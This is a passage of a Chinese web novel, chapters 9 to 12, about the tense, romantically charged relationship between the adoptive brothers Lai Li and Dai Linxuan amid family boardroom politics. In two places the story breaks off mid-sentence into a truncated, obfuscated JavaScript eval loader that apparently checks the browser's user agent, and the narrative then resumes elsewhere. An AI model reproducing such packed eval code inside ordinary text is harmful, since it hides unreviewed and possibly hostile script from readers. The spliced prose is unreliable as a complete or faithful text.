廖德一走,屋里又安静起来。赖栗转着手里的戒指,琢磨半晌说了句:“我今晚和你一起睡。” 戴林暄好整以暇道:“我只睡人,不睡觉。” “你睡试试,看我会不会把你捆起来。”赖栗眯缝着眼睛,“那天是看在你刚回来的份上才没跟你动手,不然……” 戴林暄从他说第一个字开始就起身倒掉了杯里剩余的红酒,朝卧室方向走去,经过沙发时,他伸手弹了下赖栗的额头,温声说:“下次有机会再陪你,今天有点累。” 一起闭眼休息而已,被戴林暄说得像要耗费很多精力。 身后传来轻轻的一声“砰”,戴林暄带上了次卧的门。 赖栗在客厅坐了很久才回主卧,他很少回忆从前,可有些事情不用回想也会浮出水面,比如到戴家的前十年,他几乎不会一个人睡觉,戴林暄总会陪他,直到两年前出国。 两年时间,七百多天,足以赖栗习惯一个人的卧室,以及闭上眼后的黏湿,喧闹,冗杂在一起的窃窃私语,挥之不去的腐臭气味。 不过今晚有点不一样。 夜色越渐浓稠,两道交融的人影映在墙上。午夜的风吹来,窗帘呼呼作响,鼓鼓囊囊地仿佛藏着什么东西。 赖栗看清了,是一个倒立的人影。 不……对方没有倒立,是他躺在床上,被人咬住最脆弱的脖子动弹不得,只能仰头看向身后。 人影拨开窗帘,缓缓走入光下,这张脸和戴林暄长得一模一样……那俯在他身上吃他血肉的又是什么? 他下意识低头,还没看清就被一只冰凉的手扣住下巴,往后拨去,他不得不仰起下巴,对上戴林暄温柔似水的眼神:“小栗。” 他说:“你不是他。” 戴林暄问:“那我是谁?” 他说:“他不会这么叫我。” “他就是我,我就是他,只是你没有看清过。”戴林暄抓住他的手压在床上,不让他去抱另一个自己,用近乎蛊惑的语气说,“喜欢我带给你的痛苦吗?” 脖间撕咬的力道倏地加重,赖栗发出气竭的喘息,说不全一句话。 戴林暄俯身,轻碰了碰他的嘴角。 腕上压制倏地一松,赖栗趁机抬腿一顶,扣住身上人的肩膀往旁边一翻,成功调转了位置,他抓住对方的手腕擒在头顶,灯光透过臂弯照亮了对方的脸—— 两个一模一样的戴林暄,像被生生撕裂成两半的影子。 一个予他疼痛,一个予他柔情。 坐着的戴林暄轻声说:“如果他们说的是真的怎么办?” 身下的戴林暄伸出舌尖,勾走了唇上的血:“如果不是谣言怎么办?” “如果哥哥就是个变态……”他们一人一句,温柔长叹,“我们的小栗要怎么办?” …… 赖栗猛得睁开眼睛,模糊的天花板映入眼帘。 天刚蒙蒙亮,他张开五指挡住眼睛,晨光与戒指上的黑钻碰撞在一起,迸发出模糊的光晕。 于是清晨不再纯粹。 他做了个和往常不同的梦。 按照一般人的标准,这应该算个噩梦。 可他手伸进被窝挑起裤腰,摸到一手黏腻。 他没去冲澡,只是离开房间打开次卧的门,悄无声息地在窗边坐下,借着昏白的光亮直勾勾盯着戴林暄的脸。 9. 中药 “簌……” 戴林暄倏地睁开眼睛,圆月高照,银霜洒了满床。 腿边传来一阵窸窸窣窣的声音,他垂眸望去,有什么东西钻进了床尾被子里,伏在他身上慢慢爬来,头颅的弧度若隐若现。 过了会儿,一双突然冒出来的手反抓住被子边,往戴林暄脸上一扑:“哥,surprise!” 昏暗潮热的被褥下,赖栗与戴林暄四目相对,鼻息轻拂过脸颊,带起一阵痒意。赖栗小狗似的低下脑袋,用脸蹭蹭戴林暄的鼻尖,止痒。 戴林暄弹了下他的脑袋,刚酿起笑意,怀里倏地一空,被子轻飘飘地落下,只剩散在空气里的一句低语:“哥,我不想破坏你。” “咔。” 空灵的一声钟响,戴林暄再次睁开眼睛。床上的银霜已替换成了淡金色的阳光,钟表发出哒哒的步伐,迈向艳阳高照。 垂在额边的指尖动了动,蜻蜓点水般地划过鼻尖。 隔靴搔痒。 门外传来一些细碎的动静,不知道在做什么。戴林暄没有任何反应,就静静地看着时钟,目光随着细长的秒针顺时针转悠,一圈又一圈。 直到时针指向九,他才半阖眼皮,身体刚苏醒似的起了床。昨晚脱下的衣服已经被收走了,说明赖栗进来过。 对赖栗不设防是过去十年养成的习惯,早已成为一种本能。 戴林暄披上浴袍,拉开房门走出去。 “早。”赖栗正在水吧台旁边琢磨榨汁机,穿着白色T恤与露出脚踝的浅色牛仔裤,没有一点多余的装饰。 戴林暄走过去,胸膛贴着赖栗的后背,若即若离的,他在榨汁机上轻触几下,顿时响起嗡嗡的启动声。 对于赖栗来说,这属于正常的接触范围,他问:“怎么睡这么少?” 戴林暄脚尖一转,拉开距离:“挺多了。” 昨晚回到公寓已经零点了,后来又折腾那么一通,将近三点才各自回房。戴林暄口中的挺多了就是睡眠不足六小时,以及眼睑下的淡青痕迹。 赖栗的打量太明显,戴林暄淡淡陈述:“你不也没睡多少。” 赖栗回答:“我年轻。” 被说老,戴林暄也不生气,只是意味不明地扫了赖栗一眼:“改天试试。” 赖栗眯了下眼,转移话题:“我让任叔给你送了套干净衣服来,昨天那套让带回去了。” 戴林暄笑笑:“这么细致?还真是长大了,让人有点不习惯啊。” 一觉睡醒,昨晚那个与过去相似的温柔灵魂又消失了,戴林暄重新噙起完美的笑意,像罩上了一层透明的玻璃,看得清,却读不懂。 “洗漱用品也带了一套,在卫生间里。”赖栗目光扫过戴林暄的鼻尖与嘴唇,眼神暗了暗,“漱个口吧,我做了早饭。” 戴林暄这下是真有点意外:“你做的早饭?” 赖栗毫不心虚地点头。 十分钟后。 戴林暄指着碗里的浅褐色汤汁,问:“虚心请教一下,这什么?” “中药。”赖栗半坐在桌上,一脚踏空,一脚虚虚点地,“我早起让家里厨房熬了两个小时,和衣服一起让任叔送来。” 戴林暄心平气和地说:“谢谢你啊,请问我生了什么需要喝中药的病?” 赖栗看着他,不说话。 戴林暄意识到什么,倏地笑了。他指指自己的嘴唇:“亲一下,我就喝。” “……”赖栗当然不可能亲,他可以纵容他哥失控的撕咬,原谅他哥一时上头拿他当宣泄欲望的工具人,但绝不可能和他哥接吻,这太过火了。 自打回国后,戴林暄有过很多次这样不符合以往性格的发言。例如戴翊生日宴第二天早上,揉着弟弟的嘴唇问“没吃够吗”,例如把体温计插进弟弟的嘴里,说“别咬碎了,会死”。 即便到了现在,赖栗也很难把这种堪称骚话的调|情与戴林暄放同一台天秤。 赖栗忍不住想,戴林暄在别人面前也发生了变化吗?还是说,这些与以往人设割裂的异常只暴露在了自己面前? “哥……”赖栗突然撑住戴林暄的椅背,弯腰凑近,“你是喜欢男人,还是喜欢我?” 听清问题的那一瞬间,戴林暄还挺平和,没有刺痛,没有怒意,只是微微眯了下眼睛,觉得洒在赖栗发间的阳光有点过分苍白。 真是恶劣啊,赖栗。怎么做到用无辜又好奇的表情问出这个问题? 可这是他亲手养大的孩子。 佛说善恶有报,果真是有道理的。他一手纵养出的恶劣,最终还是化为了一根金刚杵正入他眉心,耻笑他的愚痴和罪恶。 “有区别吗?”戴林暄垂下眼皮,将碗里的中药一饮而尽,轻描淡写地问,“对你来说重要吗?” 赖栗皱了下眉,那种自戴林暄回国以来就一直存在的怪异感又漫上心头,好像在他不知道的时候,发生了很多他不知道的事。 这些事正一步步腐蚀他哥的肉|体,拉扯着他哥的灵魂不断下坠。 戴林暄抽了张纸,慢条斯理地擦擦嘴角:“谢谢款待。” 赖栗仍然撑着他的椅背,变相限制了他的起身。 “这位年轻的大学生,我得去公司了。”见人还是不动,戴林暄扣住赖栗的后颈压向自己,直至近在咫尺,他一边缓缓侧头,一边轻声细语,“还是说,你想检验一下中药有没有效果?” 唇温交缠之前,赖栗松了手,还予戴林暄自由。 他声音有点闷:“我真的做了早餐。” 戴林暄也松开了他后颈,态 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赖栗毫无界限感地跟到门口,看他哥换衣服:“我和你一起去公司。” 戴林暄微顿,就算赖栗最黏戴林暄的那几年,也极少会跟着他一起上班,毕竟实在枯燥无聊。 他褪下浴袍,说:“下午还有一场慈善拍卖会。” 赖栗从来都觉得肉|体恶心,唯独戴林暄让他觉得是神明的鬼斧神工之作,身体曲线的每一道转弯都那么恰到好处,优美流畅。 “一起。”赖栗想了想,补充道,“我不会惹麻烦。” 戴林暄压根没把这句保证放在心上:“没给你定制礼服。” 赖栗无所谓:“你穿得体就好了,我穿什么不重要。” 戴林暄微微回首,用余光看着他:“拍卖会场在‘赛博城’。” 赖栗微微一滞,随即就面色如常地说:“那正好,旧地重游也算一种乐趣。” 戴林暄没再推拒。 十二年里从来都是这样,赖栗想要,赖栗得到,这次也不例外。 车子并没有驶向戴林暄自己创办的万利影业,而是去了戴氏集团园区。出任集团董事并非铁板钉钉的事,在结果出来之前一切都有可能,需要戴林暄竭力争取。 行程过半时,戴林暄突然让刘曾停车去老地方买东西。 片刻后,刘曾回来了,将一个热腾腾的盒子递给戴林暄,又被戴林暄递给赖栗。 赖栗闻着味就知道是什么了,眼皮狠狠跳了两下,只见盒子中间贴着商品标签:爆炒栗子。 确实爆炒,热得烫手。 戴林暄靠着车窗,托起下颌,微微笑着:“早餐的回礼。” 10. 别闹 赖栗捏着一颗板栗,面无表情:“我还没说那是什么中药方子。” 戴林暄不在意地说:“是什么我都已经喝了,就是有砒|霜这会儿也该发作了。” “林暄这话过了,哪里舍得给你下砒霜呀。”刘曾还以为他们兄弟在开玩笑,“小栗知道你这两年在国外休息不好,特意找黄老医生开的安神方子。” 刘曾两年前跟着一起去了国外,自然清楚戴林暄的作息,赖栗问起的时候也没隐瞒。作为身边人,他比外人更清楚这两兄弟的感情,说是亲密无间、耳不离腮也不为过。 而黄老是戴家老宅的一名住家中医,水平很高,他开的方子总是很管用。 戴林暄勾了下嘴角:“我还以为是治什么疑难杂症的方子呢。” 刘曾笑起来:“你又没生病,要那种方子干什么。” “怎么没有,同性……”戴林暄话没说完——赖栗往他嘴里怼了颗剥好的栗子。 刘曾没听清,瞥见后视镜里的互动也只是摇头感慨感情真好,比亲兄弟还像亲兄弟。 戴林暄盯着赖栗,慢慢咀嚼,像为了不放过每一丝细腻香糯的口感。 “多剥点。”他声音带着笑,眼里却一片冷清,“吃着东西才没空说话。” 赖栗深吸口气,不发一语地剥起板栗,一颗一颗地扔给戴林暄。进了集团园区,一盒板栗刚好消磨干净。 今天的小陈老板有失水准,栗子炒糊了,涩嘴。 那为什么还要吃呢。 戴林暄近乎漠然地想,明明不是他主动吃的。 喂完就跑,哪有这么好的事。就合该在他身边剥一辈子,哪怕不甘愿,觉得恶心,手剥出血,也得继续,直至葬进坟墓里。 下车的时候,赖栗用只有两个人能听到的声音说:“哥,你别闹。” 赖栗没想过自己这辈子还能对戴林暄说出“别闹”这两个字,像渣男哄骗女友的下作戏码。 虽然同性恋对于他们这个圈子不算多稀奇的事,但绝对是上不了台面的事。搞搞漂亮的小男孩是种消遣,是娱乐,唯独不可以是正道。 这些年里,豪门、世家圈子里没少爆出相关新闻,可无一例外都是丑闻,闹出人命都不算罕见。 无论戴林暄过去的风评有多好,只要他跟同性恋三个字沾上关系,就好比赤手空拳地站在大街上,谁都能往他身上泼粪。 “无论你是不是真的,以后能不能改……”赖栗顿了顿,“都不能让别人知道。” 戴林暄往前走,没有回头。 玻璃移门感应到了人,自动打开,一股冷气扑面而来。几个高管迎面走来,笑着招呼:“林暄。” 戴林暄颔首,停下与之寒暄了几句。 集团总部的高管都很年长,资历、股份摆在那,有些甚至就是戴姓,面对戴林暄都端着长辈的架子,拿着说教晚辈的态度。 赖栗手插兜里,等在一边。 他们聊完,话题还是对准了过来:“小栗站那么远做什么?脖子怎么受伤了?” 叫得可真亲热,实际上这些人赖栗都认不全,最多每年的宴会上见个一两次。 而赖栗又是个不记事的人。 可戴林暄在,赖栗还是给足了面子,喊了几声叔叔、伯伯,并略过脖子上的伤不作回答。好在这些人也并非真的关心,说了几句场面话、装模作样问了几句学业相关就告别了。 戴林暄站在电梯口,唤道:“赖栗。” 赖栗不满于这个称呼,没有应声。 对于他之前说的话,戴林暄给出了回应:“我什么取向,和谁在一起,最后会沦落到什么样的结果,都是我自己的事。” “……”赖栗深深地皱起眉头。 这段话令他不舒服的点很多,最不能忍的就是“沦落”这个词,仿佛戴林暄已经知晓自己不会再有什么好结局。 “你不会想说你的事和我没关系吧?你不好,我也不会好的。”大厅里来往的员工很多,赖栗舒展眉头,笑着像聊家常,“哥,我希望你的人生光明坦荡。” 戴林暄偏头对上赖栗认真的目光,嘴唇动了动,正要说什么,身前的高级职工专用电梯突然“叮”了一声,机械的女声从内部传来:“一楼到了。” 电梯门朝两边拉开,里面已有两个乘客,应该刚从地下层上来。 其中一位站在侧后方,抱着文件,电梯门开的时候还在报告工作,看清门外人的一瞬间,她声音一顿,唤道:“戴总。” 另一人显然是她的上司,着一身浅灰色西装,一手插在兜里,另一手自然垂在身侧,披肩的短发显得干净利落,眼角皱纹完全挡不住五官的艳丽。 即便外人在这里,也能一眼看出戴林暄就是和她一个模子里刻出来的。 她往旁边挪了一步,让出空位。 刚要说的话散在了唇边,戴林暄唤道:“蒋总。” 公司内部无亲戚,再亲密的关系都要唤其职称。 戴林暄平静地走进去,转身看着电梯外的赖栗。 短短几秒的时间被无限放慢、拉长,仿佛有阵看不见、摸不着的雾气顺着浑身毛孔钻入血管,丝丝缕缕地向心脏汇聚,防无可防,以至于心脏的搏动都变得模糊,鲜红的血肉也苍白起来。 戴林暄半垂着眼皮,余光是母亲戴着玉镯的苍白手腕。 早就光明不了了,早就……无处坦荡。 “干妈。”赖栗走进去,语气礼貌而正式。 虽然赖栗名义上被戴家收养,但其实和其他戴家人接触并不多。蒋秋君在他来戴家的那年开始接替了丈夫的位置,周围尽是豺狼虎豹,稍有不慎就会被吃干抹净,自然也没多少时间和儿女相处。 戴林暄见不到她,赖栗就更难见到了。 蒋秋君扫来一眼:“脖子怎么了?” “刀划伤了。”赖栗没有撒谎,只是隐瞒了一部分。总不好告诉蒋秋君,纱布下面是你儿子整齐狰狞的牙印,跟被僵尸咬了似的。 蒋秋君收回目光,没追问:“不要因为一时上头让自己陷入危险。” 赖栗点头:“知道了。” 戴林暄弯了下眼角,嘲笑他难得的谦卑。 显示屏上的数字快速往上攀登,中途有人进来,有人离开,都是客客气气一句“蒋总、戴总”,再打几句没意义的官腔,到合适的楼层离开。 气氛异常怪异。 赖栗不怎么关心戴家的事,却也能猜出这和即将召开的董事会有关。戴林暄一旦正式进入董事会,那蒋秋君对戴家的控制将达到更深一层。而正式结果出来之前,这些中立的元老、高管不敢轻易站队。 电梯提示音响起:“二十五层,到了。” “他在会客室等你。”蒋秋君突然开口,“小栗就别跟着了。” 赖栗眸色微动,“他”是谁? 戴林暄显然知道自己要见谁,没有表达任何疑问:“左转走到尽头是我办公室,去那边等我。” 赖栗说好,他知道他哥最近才在集团挂了副总的职称,有一间独立的办公室。 戴林暄走了两步,突然被蒋秋君叫住:“林暄,我不是一定需要你的助力。” “……” 戴林暄顿了顿,没有回头,推开层层玻璃门进去了会客室。 逆光之中,一个坐着轮椅的老人朝戴林暄招招手,示意他俯下身来。 赖栗眯缝了下眼睛,竟然是戴松学,难怪蒋秋君不让他跟着。这老头是戴林暄的爷爷,非常不喜欢他,不过明面上还过得去。 戴松学退休多年,偏瘫多年一直坐轮椅,怎么会到公司来见孙子,直接叫去戴家老宅不好吗?除非有什么必须要在公司进行的谈话……或者戴林暄一直刻意不见他,就像这两年去国外躲着自己一样。 蒋秋君那句“我不一定需要你的助力”又是怎么回事? 身后传来蒋秋君的声音:“小栗,来我办公室。” 赖栗心口一跳,面上倒是如常。 蒋秋君突然叫他过去总不能是话家常,要么叮嘱他不要在这个节骨眼给戴林暄惹麻烦,要么……她知道了戴林暄的性取向,甚至知道自己的儿子可能喜欢养子,准备予他敲打或警告。 短短半分钟的路程,赖栗心里窜过了各种可能性以及应对方式。 然而蒋秋君只是从办公室抽屉里拿出了一份合同,递给赖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“您也这么觉得。”赖栗冷静地与她对视。 “恰恰相反。”蒋秋君折了一根竹节放在手里把玩,“最容易被毁掉的是白纸,最容易被折断的是单支竹子,有些玉沾点灰——是好事。” 赖栗停顿了很久没说话,他长出一口气:“这就是当初大哥当初执意收养我,您没拒绝的原因吗?” …… “赖先生身段好,这套就不错,尺寸很贴。”妆造师笑着说,“虽然不是高定,但还没人穿过。” 戴林暄不可能真让赖栗穿T恤牛仔裤参加下午的拍卖会,定制是来不及了,只能找套现成的礼服。 妆造师眼光很好,给赖栗挑了套正黑色西服,里面搭了件花色衬衣,赖栗皮肤白,身段笔直,又被精养了十二年,穿什么像什么,仿佛本就是出生优渥的公子哥。 戴林暄坐在沙发上,曲起手指抵着额头,噙着淡淡笑意看赖栗:“这套确实不错。” 赖栗回头瞥了眼,对妆造师说:“你出去吧。” “好。”妆造师体贴道,“领带都在这边抽屉里,戴先生知道的。” 等试衣间只剩下他们两个,赖栗冷不丁地说:“很难看。” 戴林暄没反应过来:“嗯?不难看……” 赖栗说:“你笑得很难看。” 其实换做旁人根本不会发现戴林暄与平日有什么区别,只是赖栗对戴林暄的情绪变化太敏感。 “……”半晌,戴林暄叹息一声,扬扬下巴,“过来。” 赖栗走到沙发跟前,俯视他哥:“为什么见了戴松学心情不好?” 戴林暄干脆了当:“不想告诉你。” “……” 见赖栗难得噎住的样子,戴林暄真心实意地笑了好一会儿:“裤子,脱了。” 赖栗脸色陡然一沉:“戴林暄——” “这件衬衣版型不好,太皱了,需要衬衫夹辅助。”戴林暄指尖轻点赖栗的大腿,好整以暇地说,“脱了,我就告诉你为什么。” 11.全责 赖栗定定地看了戴林暄半晌,眼底的暴躁忽而散了。 “行啊。”他从柜子里翻出一对衬衫夹扔向沙发,“我没戴过,你要履行一下做哥哥的教养义务吗?” 衬衫夹落在手边的瞬间,戴林暄猛得甩开手,仿佛碰到了什么烫手山芋。 赖栗脱了西裤甩沙发上,脚踩在戴林暄腿侧:“快点。” 好半晌,戴林暄才拿起旁边的衬衫夹给赖栗扣上。 “太紧了。”赖栗拧了下眉。 “太松走路的时候会有形状。”戴林暄垂眸捏开夹子,悠悠道,“到时候整个宴会厅的人都会知道我们赖少喜欢戴衬衫夹……” 赖栗一字一顿地说:“我,不,喜,欢。” “这么激动做什么。”戴林暄拍了下赖栗的右膝盖,示意他抬起来,“又不是什么见不得人的东西,知道了也没什么。” 戴林暄的语气满是戏弄,眼神与手却非常规矩,一点多余的触碰都没有。 赖栗看着他哥的头顶,垂在身侧的手缓缓抬起,就要碰上后脑勺的一瞬间,两边腿上的衬衫夹都固定好了,他哥直起身体,往后靠的时候碰到了他的手。 戴林暄没注意,有些心不在焉地说:“想庄重点就去挑个领带,想松弛点就保持现在这样。” “……”赖栗裤子还没穿。 他要保持现在这样,恐怕不止拍卖会场都进不去,明天整个诞市的报纸、各大新闻头条也都得是他。 戴林暄没注意,又回到了原来的姿势,胳膊肘撑于沙发扶手,托着自己的下颌。只是这次他的目光并没有专注于赖栗,而是虚虚地望着空气中某个点。 赖栗踹了他一脚:“想谁呢?” 戴林暄指尖剐蹭了两下脸侧:“想起来给小时候的你……洗澡。” 很多长辈都喜欢类似“你小时候怎么怎么样,我还抱过你呢”的发言,不过戴林暄却从没说过。也许他还不算长辈,也许是因为赖栗即便到了戴家,最开始的那几年也并不好过。 赖栗问:“好洗吗?” 戴林暄笑起来,眉眼间染上了几丝不含杂质的温情:“你自己什么样都不记得了?可以说是最难养的小孩了,不过我也只养过你一个,不好比较。” 赖栗过了会儿才说:“记不清了。” “小白眼狼。”戴林暄唔了声,起身朝外走去,“我打个电话,外面等你。” “给你五分钟打腹稿,别想骗我。”赖栗目不斜视。 他还没忘自己为什么要戴这紧绷绷的衬衫夹,存在感很强。他第一次了解衬衫夹,并非在什么礼仪课上或正式科普,而是景得宇想发别人却错发给他的一条黄漫。 漫画里的主角膝盖打开,跪在地上,只穿了件黑色衬衣,下装不知所踪,大.腿肉被衬衫夹勒得微微凸起,小腿穿着西装袜,往上一点是黑色袜夹。 当时的赖栗嗤之以鼻,觉得漫画作者一点常识都没有,男人的腿能勒成那种丰腴的样子,只可能是超高体脂大胖子。 可如果把那套装扮代入戴林暄身上,或许会比漫画里更加涩情……不过他哥还是更适合白色衬衣,最好布料柔软些。 赖栗喉咙有点干,端起茶几上的水一饮而尽。他走出试衣间,没看到戴林暄的身影。 妆造师迎上来:“赖先生——” “我哥……算了。”赖栗转了话锋,“给我倒杯水。” 妆造师照做,随口道:“戴先生在卫生间。” 赖栗眼皮一跳,接水的手往回一缩,杯子差点砸在地上,幸好妆造师眼疾手快地抓稳了。 介于戴林暄最近的前科,赖栗怀疑他是不是升旗了。 没走几步,赖栗就听到了哗啦啦的水声。他哥背对他站在洗手台前,应该是在洗手。 赖栗往后退半步,借走廊墙壁挡住身形。 他哥这手洗了很久,动作幅度并不大,只能隐隐绰绰看见一截冷白的脖子,漂亮……绯丽。 再往下,是轻薄但不脆弱的脊背,笔直有力的长腿。 他哥也会戴衬衫夹吗?每年要出入那么多次正式场合,每次都会戴吗?赖栗试图从记忆中搜寻相关画面,还好一无所获。 也许是有黄漫的先入为主,他总觉得这东西不正经,与他哥的矜贵雅致并不相配。 听到靠近的脚步声,戴林暄头也不回地说:“好了?” 赖栗不喜欢镜子,但喜欢镜子里的戴林暄,完美,赏心悦目,最重要的是不会被外物污染,不会轻易被破坏。 可走近后才发现,映在镜子里的是一张毫无血色的脸。 赖栗心脏猛得一跳,立刻上前抓住戴林暄的胳膊:“你不舒服?” “胃有点难受。”戴林暄抽出胳膊,“可能是早上吃坏了。” 赖栗自然认为是自己的锅,不悦道:“都说不要吃那颗蛋了。” “你煎的第一颗蛋,还是想尝尝。”戴林暄弹了下赖栗手背,“以后你求我都不吃。” “我不求你。”赖栗扯动嘴角。 戴林暄拖着尾音嗯了声,敷衍得很明显,看来真的很不舒服。 赖栗大步走向停车场:“先去医院。” “没那么严重。”戴林暄弯腰上车,闭着眼睛开始小憩,“休息会儿就好。” 赖栗捏住他的下巴,强行扭过他的脸:“你要不要照照镜子?” 戴林暄没有睁眼,抓住他的手放身侧拍了拍:“下午这场拍卖会是集团基金会主办的,我算东道主,不能缺席。” 赖栗稍一思索就明白了,对于他们这些豪门世家子弟而言,风评是继实力之外第一重要的东西。 戴林暄毕竟出国了两年,期间几乎淡出了公众视野,如今刚回来半个月,又即将面临集团新董事票选,自然需要在媒体面前公开露个面,让外人重新拾起印象。 戴翊生日宴那次不算,不够正式。 “那就死撑着?” “我说了,没那么严重。”戴林暄语气很轻,头偏向那边车窗,只留一截削瘦的下颌线对着赖栗。 赖栗皱起眉头:“戴林暄,你这两年有好好吃饭吗?” “嗯。”戴林暄发出一个无意义的音节。 因为要去拍卖会,刘曾换了辆集团的商务车,听不见最后面的他们在说什么。赖栗提高声音:“曾叔——” 戴林暄只得回头,叹了口气:“这不活着吗。” 赖栗胸口剧烈起伏了下,脸色沉得厉害:“活着就行?” 戴林暄睁开眼睛,看了他一眼。 赖栗都以为戴林暄又要说“我有没有好好吃饭对你来说重要吗”这种屁话的时候,竟然听到了正常的回答。 “一天三顿,很少缺餐,偶尔喝酒,饮食清淡,除非应酬,不油不辣。”戴林暄说,“满意了吗赖少?” “……别这么叫我。” “叫什么都不满意,可真难伺候。”戴林暄半眯着眼睛,“我叫你哥行不行?” 赖栗心里漫起一股无边的焦躁,寻不着源头。他们该有一个更亲近的称呼才对,而不是所有人都能叫的“小栗”,也不该是别人戏称的“赖少”。 戴林暄与赖栗黑沉的目光对视半晌,有些字眼到嘴边了又随风散去。 他花了半分钟,将脸上露出的淡淡倦意与病色收敛干净:“不是想知道我为什么见到爷爷不高兴吗?” 赖栗面无表情。 戴林暄问:“你觉得爷爷对我怎么样?” 赖栗语气不好:“谁记得。” 应该是好的,所有人都这么说。 戴林暄的出生宴,百日宴,成人礼,除开最近两年的生日宴都办得最精细风光,前人比不上,后来出生的小辈们也无法超越。 也许是隔辈亲,也许是近两代子孙里,戴林暄是最谦逊温良的那一个,除去十八岁那年突然执拗地要养赖栗以外,没有任何可以诟病的地方,不喜欢他才不正常。 所以戴林暄轻而易举得到了戴松学的喜爱与看重,三十年来从未变过。 戴林暄说:“我这一辈堂姊妹表姊妹共十七个,只有我从出生起就被他带在老宅教养,一直到他身体出了问题。 “那几年集团出现了很严重的资金周转危机,他每天日理万机,却还能抽出空给我带些有意思的小玩意儿。 “他总说,林暄,做人要有良心,要识大体,要辩善恶,要明是非。” 戴林暄语气悠悠,听不出是怀念还是别的什么。 赖栗突然想起蒋秋君前不久说的那句“在戴家这样的深宅大院里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……操。”赖栗面色不善,“难怪我第一眼看到他就讨厌。” 不管戴恩豪的车祸是不是蒋秋君所为,戴松学这种要孙子举报儿媳的行为都算得上其心可诛。 就算不成功,也能离间他们母子。 戴林暄记得特别清楚,那天阳光不错,他去老宅找戴松学,周围的鸟叽叽喳喳地叫唤,特别吵。当时戴松学坐在轮椅上,就剩半边胳膊还能动,力气却很大,攥着他的手腕不肯放开,要他蹲下来听自己说话。 偏瘫多少影响了戴松学的说话功能,吐词特别费劲,有点含糊不清。 “不过那句话我听过很多遍,他刚开头我就知道他要说什么了。”戴林暄模仿着戴松学的腔调,“林暄啊,做人要有良心,识大体,辨善恶,明是非。” 赖栗感到说不出的恶寒,他等了会儿,戴林暄却没了下文。 “后来呢?” “后来就出国了。” 赖栗拧了下眉头,奇怪的违和感……总觉得不仅于此。 如果只是这样,那按照戴林暄过去的性子,哪怕难以接受、痛苦万分,也会尽全力去调查父亲车祸的真相,在拿到证据后将犯罪者送进监狱,即便那是他的母亲。 可戴林暄竟然直接不管不顾地逃避了。 赖栗说:“你是不是瞒了什么……” 戴林暄和他同时开口:“刚出国那段时间,你一个电话都没打来,我想着,你大抵也不在乎……” “我是气你抛下我一个人走了!”赖栗咬牙切齿地打断,“我哀求过你多少次,你都不同意我和你一起出国,找各种理由敷衍我!你喜欢——” 理智崩塌前一刻,赖栗终于想起车里还有个司机,他堪堪停下嘶吼,平息片刻后用只有两个人能听到的音量轻声问:“你喜欢我,是我的错吗?” 戴林暄张了张嘴,一时竟然不知道该说什么。 车子早就停进了车位里,刘曾一开始被赖栗突然提高的声音吓一跳,就没说话,直到感觉后排没动静了,他才试探地打破僵局:“林暄,小栗,会场到了。” 12.第 12 章 他们来到了‘赛博城’,一片被誉为人类科技之光的8d悬浮城市。尽管面积只有5000亩,约莫一所大学的占地面积,也足够令人震撼了。 空中到处都是连接高楼的长廊,以及穿插交错的缆车轨道,色调也极具人们想象中的霓虹风格,晚上前来更加震撼。 而十二年前,这里还是诞市最大的贫民窟,肮脏,腐臭,充满令人作呕的气息,下贱的鸡鸭与犯罪分子无处不在。 赖栗也是其中一员。 直到戴氏集团投入大量资金,拆掉了充满裂纹的老破居民楼,配合政府抓获了一批批罪犯,安置了大量无业游民与违法行业从事者,才彻底改变了这片土地的命运。 这其中的艰难不是一两句话能说清楚的。 赖栗之所以能做到表面尊重蒋秋君,除去她是戴林暄的母亲以外,还因为她竟然真的能改造这片罪犯的天堂。 要知道,前期拆迁、遣散‘居民’就花了足足三年,期间蒋秋君遭遇大大小小的袭击共计二十三次。 随后又花四年时间,尽当下科技水平的极限打造了如今这片赛博城,并迅速火遍全球,无数游客闻名而来。赛博城至今为止才开放五年,却给戴氏集团创造了难以想象的庞大利润。 十二年来,赖栗第一次踏会这片土地,陌生的只有周围景观,在这的记忆却清晰如昨。 戴林暄走进通往会场的vip电梯:“宴会结束后可以转转。” 赖栗眉眼微垂,显得有些冷漠:“不用了,结束就回家。” 戴林暄嗯了声:“随你。” 电梯是二百七十度观景,能将赛博城中心区的震撼景观一览无余,第一次来这的人往往都会有种穿越未来的错觉。 而赖栗无动于衷,只是盯着倒映在电梯玻璃上的霓虹灯光。 人故地重游时往往爱感叹一句“物是人非”,到赖栗这里竟是反了过来。 赖栗突然问:“你来过这里几次?” “没刻意记过。”戴林暄说,“应该有很多次。” 毕竟是戴氏集团的标志性项目,戴家主办的很多宴会都会在这边进行。 外面纵横交错的连廊人满为患,电梯快速上行,越过它们来到了顶层宴会厅。拍卖会还没开始,来宾可以自由活动,跳跳舞、喝喝酒,或四处寒暄,幸运的话还可以现场邀到一位伴侣。 戴林暄迈开腿前,拍了下赖栗的手:“不嫌枯燥就跟着我,无聊就出去转转。” 他一进入厅内,很快就被各路人马包围了,一个接一个地上来与他寒暄,有些是圈内长辈,有些是同辈的世家子弟。 赖栗还看到了贺书新的大哥,贺寻章。说起来,贺书新住院二十多天,也该出来了,不知道有没有来参加这场宴会。 应当没有……这场拍卖会是戴家主办,贺家应该会避免贺书新再次与他碰面,发生口角。 作为贺家大少爷,贺寻章同样引人注目,他游刃有余地应付完各路人马,竟然朝赖栗走过来了。 他从路过的服务生托盘里拿过两杯酒,递给赖栗一杯:“小栗,好久不见啊。” 赖栗自认和他没什么交情,对他亲昵熟络的语气嗤之以鼻。不过确实好久不见,主要在于戴林暄出国这两年,赖栗几乎不参与正式的社交宴会,自然就很少和这些人碰面。 上次把贺书新打了,也是李觉代他去医院赔礼道歉,他连面都没露。 “书新不懂事,我作为大哥替他给你道个歉。”贺寻章说,“小栗别放心上。” 